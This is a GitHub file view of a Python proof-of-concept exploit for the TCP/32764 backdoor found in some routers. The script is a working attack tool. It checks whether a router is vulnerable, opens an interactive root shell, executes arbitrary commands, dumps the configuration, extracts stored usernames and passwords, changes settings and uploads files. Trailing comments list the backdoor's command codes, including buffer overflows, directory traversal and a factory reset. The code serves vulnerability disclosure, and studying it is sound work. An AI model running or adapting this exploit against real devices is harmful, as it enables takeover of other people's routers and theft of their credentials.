Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 196 lines (179 sloc) 6.74 KB
#!/usr/bin/env python
import socket
import struct
import sys
import argparse
import re
parser = argparse.ArgumentParser(description='PoC for the TCP/32764 backdoor.\n'\
'see https://github.com/elvanderb/TCP-32764 for more details')
parser.add_argument('--ip', type=str, nargs='?', help='routers IP', default='192.168.1.1')
parser.add_argument('--port', type=int, nargs='?', help='port to use', default=32764)
command_group = parser.add_mutually_exclusive_group()
command_group.add_argument('--is_vuln', help='tells you if the router is vulnerable or not (default)', action="store_true")
command_group.add_argument('--shell', help='gives you a root shell on the router', action="store_true")
command_group.add_argument('--execute', type=str, nargs='?', help='run a command and dump straight to stdout', default='')
command_group.add_argument('--print_conf', help='pretty print router\'s configuration', action="store_true")
command_group.add_argument('--get_credentials', help='gets credentials', action="store_true")
command_group.add_argument('--get_var', type=str, nargs='?', metavar='var_name', help='get router\'s configuration variable')
command_group.add_argument('--set_var', type=str, nargs='?', metavar='var_name=val', help='set router\'s configuration variable')
command_group.add_argument('--message', type=int, nargs='?', help='message to send', choices=range(1, 14))
command_group.add_argument('--send_file', type=str, nargs='?', help='file to send')
command_group.add_argument('--send_file2', type=str, nargs='?', help='file to send, using echo -n -e')
parser.add_argument('--payload', type=str, nargs='?', help='message\'s payload', default='')
parser.add_argument('--timeout', type=int, nargs='?', help='connexion timeout in seconds', default=1)
parser.add_argument('--remote-filename', type=str, nargs='?', help='remote filename in /tmp when copying', default="upload")
args = parser.parse_args()
def send_message(s, endianness, message, payload=''):
header = struct.pack(endianness + 'III', 0x53634D4D, message, len(payload)+1)
s.send(header+payload+"\x00")
r = s.recv(0xC)
while len(r) < 0xC:
tmp = s.recv(0xC - len(r))
assert len(tmp) != 0
r += tmp
sig, ret_val, ret_len = struct.unpack(endianness + 'III', r)
assert(sig == 0x53634D4D)
if ret_val != 0:
return ret_val, "ERROR"
ret_str = ""
while len(ret_str) < ret_len:
tmp = s.recv(ret_len - len(ret_str))
assert len(tmp) != 0
ret_str += tmp
return ret_val, ret_str
# Big endian or little endian ?
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(args.timeout)
try :
s.connect((args.ip, args.port))
except socket.error as v:
print("probably not vulnerable (error: {0:s})".format(v))
sys.exit(0)
s.send("blablablabla")
r = s.recv(0xC)
while len(r) < 0xC:
tmp = s.recv(0xC - len(r))
assert len(tmp) != 0
r += tmp
sig, ret_val, ret_len = struct.unpack('<III', r)
if sig == 0x53634D4D :
endianness = "<"
elif sig == 0x4D4D6353 :
endianness = ">"
else :
print("probably not vulnerable")
sys.exit(0)
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(args.timeout)
s.connect((args.ip, args.port))
if args.is_vuln :
print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port))
elif args.shell :
print(send_message(s, endianness, 7, 'echo "welcome, here is a root shell, have fun"')[1])
while 1 :
print(send_message(s, endianness, 7, sys.stdin.readline().strip('\n'))[1])
elif len(args.execute) :
sys.stdout.write(send_message(s, endianness, 7, args.execute)[1])
elif args.print_conf :
conf = send_message(s, endianness, 1)[1]
conf = conf.replace("\x00", "\n")
conf = conf.replace("\x01", "\n\t")
print(conf)
elif args.get_credentials :
conf = send_message(s, endianness, 1)[1]
lines = re.split("\x00|\x01", conf)
pattern = re.compile('user(name)?|password|login');
credentials = []
for line in lines:
try:
(var, value) = line.split("=")
if len(value)>0 and pattern.search(var):
credentials += [[var, value]]
except ValueError:
pass
credentials.sort()
for var, value in credentials:
print("{}:{}".format(var, value))
elif args.send_file:
with open(args.send_file, "r") as f:
buf = f.read()
msg = args.remote_filename + "\0" + buf
send_message(s, endianness, 8, msg);
elif args.send_file2:
CHUNK = 1024
fdst = "/tmp/" + args.remote_filename
send_message(s, endianness, 7, "rm " + fdst)
with open(args.send_file2, "rb") as f:
while True:
buf = f.read(CHUNK)
if len(buf) == 0:
break
cmd = 'echo -n -e "' + ''.join(map(lambda c: "\\x{:02x}".format(ord(c)), buf))+'"'
cmd += ' >>' + fdst
try:
send_message(s, endianness, 7, cmd)
except socket.timeout:
print("Timeout, reconnect...")
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(args.timeout)
s.connect((args.ip, args.port))
# Get current size
ls = send_message(s, endianness, 7, "ls -l " + fdst)
size = int(re.split('[ \t]+', ls)[4])
# Let's start from here
print("Seek from %d..." % size)
f.seek(size)
elif args.get_var is not None :
response = send_message(s, endianness, 2, args.get_var)[1].rstrip("\x00")
if len(response) == 0 :
print("{0:s} is not set".format(args.get_var))
else :
print(response)
elif args.set_var is not None :
r, _ = send_message(s, endianness, 3, args.set_var)
elif args.message is not None :
r, response = send_message(s, endianness, args.message, args.payload)
if r != 0 :
print("Command failed, error code: {0:08X}".format(r))
elif len(response) != 0 :
print("Command succeed:")
print(response.encode("string_escape"))
else :
print("Command succeed:")
else :
print("{0:s}:{1:d} is vulnerable!".format(args.ip, args.port))
s.close()
# Gives the login/pass of your router. Works for Linux for sure.
# python poc.py --get_credentials --ip $(ip route|grep -Eo 'default via ([0-9.]+)'|sed 's/default via //')
#commands :
# 1 : get infos
# 2 : get var -> possible overflow
# 3 : set var -> buffer overflow
# 4 : commit nvram (read nvram /dev/mtdblock/3 from /tmp/nvram and check CRC)
# 5 : bridge mode ?
# wan_mode=bridgedonly
# wan_encap=0
# wan_vpi=8
# wan_vci=81
# /usr/bin/killall br2684ctl
# /usr/bin/killall udhcpd
# /usr/bin/killall -9 atm_monitor
# /usr/sbin/rc wan stop >/dev/null 2>&1
# /usr/sbin/atm_monitor&
# 6 : show speed
# 7 : cmd
# special commands :
# exit, bye, quit -> quit... (set alive to 0)
# cd : change directory (a little bit WTF)
# other commands :
# integer overflow in stdout handling (?) not exploitable but still ...
# buffer overflow (buffer de 0x10000)
#
# 8 : write file (file name in payload, dir : tmp, directory traversa)
# 9 : print version
#10 : print modem router ip (nvram_get(lan_ipaddr))
#11 : resaure default settings (nvram_set(restore_default, 1) / nvram_commit)
#12 : read /dev/mtdblock/0 [-4:-2]
#13 : dump nvram on disk (/tmp/nvram) and commit
You can’t perform that action at this time.